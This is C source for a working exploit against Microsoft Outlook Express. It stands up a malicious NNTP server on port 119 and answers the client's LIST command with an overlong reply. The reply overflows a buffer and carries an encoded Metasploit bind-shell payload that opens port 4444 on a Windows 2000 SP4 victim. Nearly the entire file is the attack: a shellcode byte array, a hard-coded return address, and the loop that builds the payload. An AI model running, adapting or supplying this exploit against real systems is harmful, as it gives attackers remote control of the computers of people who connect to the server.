#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32")

/* win32_bind - EXITFUNC=process LPORT=4444 Size=344
Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x96"
"\x27\xc8\x3e\x83\xeb\xfc\xe2\xf4\x6a\x4d\x23\x73\x7e\xde\x37\xc1"
"\x69\x47\x43\x52\xb2\x03\x43\x7b\xaa\xac\xb4\x3b\xee\x26\x27\xb5"
"\xd9\x3f\x43\x61\xb6\x26\x23\x77\x1d\x13\x43\x3f\x78\x16\x08\xa7"
"\x3a\xa3\x08\x4a\x91\xe6\x02\x33\x97\xe5\x23\xca\xad\x73\xec\x16"
"\xe3\xc2\x43\x61\xb2\x26\x23\x58\x1d\x2b\x83\xb5\xc9\x3b\xc9\xd5"
"\x95\x0b\x43\xb7\xfa\x03\xd4\x5f\x55\x16\x13\x5a\x1d\x64\xf8\xb5"
"\xd6\x2b\x43\x4e\x8a\x8a\x43\x7e\x9e\x79\xa0\xb0\xd8\x29\x24\x6e"
"\x69\xf1\xae\x6d\xf0\x4f\xfb\x0c\xfe\x50\xbb\x0c\xc9\x73\x37\xee"
"\xfe\xec\x25\xc2\xad\x77\x37\xe8\xc9\xae\x2d\x58\x17\xca\xc0\x3c"
"\xc3\x4d\xca\xc1\x46\x4f\x11\x37\x63\x8a\x9f\xc1\x40\x74\x9b\x6d"
"\xc5\x74\x8b\x6d\xd5\x74\x37\xee\xf0\x4f\xd9\x62\xf0\x74\x41\xdf"
"\x03\x4f\x6c\x24\xe6\xe0\x9f\xc1\x40\x4d\xd8\x6f\xc3\xd8\x18\x56"
"\x32\x8a\xe6\xd7\xc1\xd8\x1e\x6d\xc3\xd8\x18\x56\x73\x6e\x4e\x77"
"\xc1\xd8\x1e\x6e\xc2\x73\x9d\xc1\x46\xb4\xa0\xd9\xef\xe1\xb1\x69"
"\x69\xf1\x9d\xc1\x46\x41\xa2\x5a\xf0\x4f\xab\x53\x1f\xc2\xa2\x6e"
"\xcf\x0e\x04\xb7\x71\x4d\x8c\xb7\x74\x16\x08\xcd\x3c\xd9\x8a\x13"
"\x68\x65\xe4\xad\x1b\x5d\xf0\x95\x3d\x8c\xa0\x4c\x68\x94\xde\xc1"
"\xe3\x63\x37\xe8\xcd\x70\x9a\x6f\xc7\x76\xa2\x3f\xc7\x76\x9d\x6f"
"\x69\xf7\xa0\x93\x4f\x22\x06\x6d\x69\xf1\xa2\xc1\x69\x10\x37\xee"
"\x1d\x70\x34\xbd\x52\x43\x37\xe8\xc4\xd8\x18\x56\xe8\xff\x2a\x4d"
"\xc5\xd8\x1e\xc1\x46\x27\xc8\x3e";

struct
{
DWORD dwJMPEBX;
char *szDescription;
}targets[] =
{
{0x7803382b, "win2k sp4 all language"}
},v;

void usage(char *p)
{
int i;
printf( "Usage: %s <type>\n"
"[type]\n", p);
for(i=0;i<sizeof(targets)/sizeof(v);i++)
{
printf("%d\t%s\n", i, targets[i].szDescription);
}
}

void main(int argc, char **argv)
{
struct sockaddr_in server,client;
WSADATA wsd;
SOCKET s2,s3;
int ret;
char szRecvBuff[0x100];
char szSend[] = "200\r\n";
int i,iType;
char szEvil[0x3000], szTmp[0x10];

printf( "MS OE NNTP \"LIST\" Buffer Overflow (MS05-030) EXP\n"
"Credits: Bug found by iDEFENSE\n"
"coded by eyas < eyas at xfocus.org>\n"
"http://www.xfocus.net\n\n");

if(argc!=2)
{
usage(argv[0]);
return;
}

iType = atoi(argv[1]);

if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
{
printf("[-] WSAStartup error:%d\n", WSAGetLastError());
return;
}
s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
server.sin_family = AF_INET;
server.sin_port = htons(119);
server.sin_addr.s_addr= 0;
ret = bind(s2, (struct sockaddr *)&server, sizeof(server));
ret = listen(s2, 100);
printf("[+] Listen on TCP 119.\n");
while(1)
{
ret=sizeof(client);
s3 = accept(s2, (struct sockaddr *)&client, &ret);
printf("[+] Connection accepted from %s:%d\n",
inet_ntoa(client.sin_addr), ntohs(client.sin_port));

printf("[+] Send welcome information.\n");
send(s3, szSend, strlen(szSend), 0);

ret = recv(s3, szRecvBuff, sizeof(szRecvBuff), 0);
szRecvBuff[ret-1] = '\x0';
printf("[+] Recv: [%s]\n", szRecvBuff);
send(s3, szSend, strlen(szSend), 0);
printf("[+] Send response.\n");

ret = recv(s3, szRecvBuff, sizeof(szRecvBuff), 0);
szRecvBuff[ret-4] = '\x0';
printf("[+] Recv: [%s]\n", szRecvBuff);
printf("[+] send evil buff.\n");

strcpy(szTmp, "\xEB\x06\xEB\x06");
memcpy(&szTmp[4], &(targets[iType].dwJMPEBX),4);
szTmp[8]='\x0';
strcpy(szEvil, "215 list\r\ngroup aaaa");
//for(i=0;i<0x2598;i++)
//for(i=0;i<0x30;i++)
for(i=0;i<0x2598+0x200;i+=8)
strcat(szEvil, szTmp);
strcat(szEvil, (char *)scode);
strcat(szEvil, " 1 y\r\n.\r\n");
send(s3, szEvil, strlen(szEvil), 0);
Sleep(1000);
closesocket(s3);
printf("[+] close connection\n");
}